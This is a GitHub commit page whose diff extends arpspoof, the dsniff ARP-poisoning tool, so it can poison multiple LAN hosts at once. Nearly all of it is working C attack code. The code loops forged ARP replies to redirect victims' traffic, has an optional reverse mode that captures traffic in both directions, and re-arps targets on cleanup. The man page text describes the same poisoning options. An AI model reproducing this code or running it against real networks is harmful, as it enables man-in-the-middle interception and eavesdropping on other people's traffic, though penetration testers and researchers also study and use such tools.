Skip to content

Commit

Permalink
arpspoof: allow use of of multiple targets
Browse files Browse the repository at this point in the history
  • Loading branch information
wertarbyte committed Nov 7, 2011
1 parent 8fbf0ac commit 25c761e
Show file tree
Hide file tree
Showing 2 changed files with 69 additions and 35 deletions.
2 changes: 1 addition & 1 deletion arpspoof.8
Original file line number Original file line Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ same, e.g. fragrouter(8)) must be turned on ahead of time.
Specify the interface to use. Specify the interface to use.
.IP "\fB-t \fItarget\fR" .IP "\fB-t \fItarget\fR"
Specify a particular host to ARP poison (if not specified, all hosts Specify a particular host to ARP poison (if not specified, all hosts
on the LAN). on the LAN). Repeat to specify multiple hosts.
.IP "\fB-r\fR" .IP "\fB-r\fR"
Poison both hosts (host and target) to capture traffic in both directions. Poison both hosts (host and target) to capture traffic in both directions.
(only valid in conjuntion with -t) (only valid in conjuntion with -t)
Expand Down
102 changes: 68 additions & 34 deletions arpspoof.c
Original file line number Original file line Diff line number Diff line change
Expand Up @@ -29,9 +29,14 @@


extern char *ether_ntoa(struct ether_addr *); extern char *ether_ntoa(struct ether_addr *);


struct host {
in_addr_t ip;
struct ether_addr mac;
};

static libnet_t *l; static libnet_t *l;
static struct ether_addr spoof_mac, target_mac; static struct host spoof = {0};
static in_addr_t spoof_ip, target_ip; static struct host *targets;
static char *intf; static char *intf;
static int poison_reverse; static int poison_reverse;


Expand Down Expand Up @@ -133,30 +138,46 @@ arp_find(in_addr_t ip, struct ether_addr *mac)
return (0); return (0);
} }


static int arp_find_all() {
struct host *target = targets;
while(target->ip) {
if (arp_find(target->ip, &target->mac)) {
return 1;
}
target++;
}

return 0;
}

static void static void
cleanup(int sig) cleanup(int sig)
{ {
int fw = arp_find(spoof_ip, &spoof_mac); int fw = arp_find(spoof.ip, &spoof.mac);
int bw = poison_reverse && target_ip && arp_find(target_ip, &target_mac); int bw = poison_reverse && targets[0].ip && arp_find_all();
int i; int i;


fprintf(stderr, "Cleaning up and re-arping targets...\n"); fprintf(stderr, "Cleaning up and re-arping targets...\n");
for (i = 0; i < 5; i++) { for (i = 0; i < 5; i++) {
/* XXX - on BSD, requires ETHERSPOOF kernel. */ struct host *target = targets;
if (fw) { while(target->ip) {
arp_send(l, ARPOP_REPLY, /* XXX - on BSD, requires ETHERSPOOF kernel. */
(u_int8_t *)&spoof_mac, spoof_ip, if (fw) {
(target_ip ? (u_int8_t *)&target_mac : NULL), arp_send(l, ARPOP_REPLY,
target_ip); (u_int8_t *)&spoof.mac, spoof.ip,
/* we have to wait a moment before sending the next packet */ (target->ip ? (u_int8_t *)&target->mac : NULL),
sleep(1); target->ip);
} /* we have to wait a moment before sending the next packet */
if (bw) { sleep(1);
arp_send(l, ARPOP_REPLY, }
(u_int8_t *)&target_mac, target_ip, if (bw) {
(u_int8_t *)&spoof_mac, arp_send(l, ARPOP_REPLY,
spoof_ip); (u_int8_t *)&target->mac, target->ip,
sleep(1); (u_int8_t *)&spoof.mac,
spoof.ip);
sleep(1);
}
target++;
} }
} }


Expand All @@ -171,18 +192,23 @@ main(int argc, char *argv[])
char pcap_ebuf[PCAP_ERRBUF_SIZE]; char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE]; char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c; int c;
int n_targets;


spoof.ip = 0;
intf = NULL; intf = NULL;
spoof_ip = target_ip = 0;
poison_reverse = 0; poison_reverse = 0;
n_targets = 0;

/* allocate enough memory for target list */
targets = calloc( argc+1, sizeof(struct host) );


while ((c = getopt(argc, argv, "ri:t:h?V")) != -1) { while ((c = getopt(argc, argv, "ri:t:h?V")) != -1) {
switch (c) { switch (c) {
case 'i': case 'i':
intf = optarg; intf = optarg;
break; break;
case 't': case 't':
if ((target_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) if ((targets[n_targets++].ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage(); usage();
break; break;
case 'r': case 'r':
Expand All @@ -198,28 +224,32 @@ main(int argc, char *argv[])
if (argc != 1) if (argc != 1)
usage(); usage();


if (poison_reverse && !target_ip) { if (poison_reverse && !n_targets) {
errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t)."); errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
usage(); usage();
} }


if ((spoof_ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1) if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage(); usage();


if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL) if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
errx(1, "%s", pcap_ebuf); errx(1, "%s", pcap_ebuf);


if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL) if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf); errx(1, "%s", libnet_ebuf);


if (target_ip != 0 && !arp_find(target_ip, &target_mac)) struct host *target = targets;
errx(1, "couldn't arp for host %s", while(target->ip) {
libnet_addr2name4(target_ip, LIBNET_DONT_RESOLVE)); if (target->ip != 0 && !arp_find(target->ip, &target->mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
target++;
}


if (poison_reverse) { if (poison_reverse) {
if (!arp_find(spoof_ip, &spoof_mac)) { if (!arp_find(spoof.ip, &spoof.mac)) {
errx(1, "couldn't arp for spoof host %s", errx(1, "couldn't arp for spoof host %s",
libnet_addr2name4(spoof_ip, LIBNET_DONT_RESOLVE)); libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
} }
} }


Expand All @@ -228,11 +258,15 @@ main(int argc, char *argv[])
signal(SIGTERM, cleanup); signal(SIGTERM, cleanup);


for (;;) { for (;;) {
arp_send(l, ARPOP_REPLY, NULL, spoof_ip, struct host *target = targets;
(target_ip ? (u_int8_t *)&target_mac : NULL), while(target->ip) {
target_ip); arp_send(l, ARPOP_REPLY, NULL, spoof.ip,
if (poison_reverse) { (target->ip ? (u_int8_t *)&target->mac : NULL),
arp_send(l, ARPOP_REPLY, NULL, target_ip, (uint8_t *)&spoof_mac, spoof_ip); target->ip);
if (poison_reverse) {
arp_send(l, ARPOP_REPLY, NULL, target->ip, (uint8_t *)&spoof.mac, spoof.ip);
}
target++;
} }


sleep(2); sleep(2);
Expand Down

0 comments on commit 25c761e

Please sign in to comment.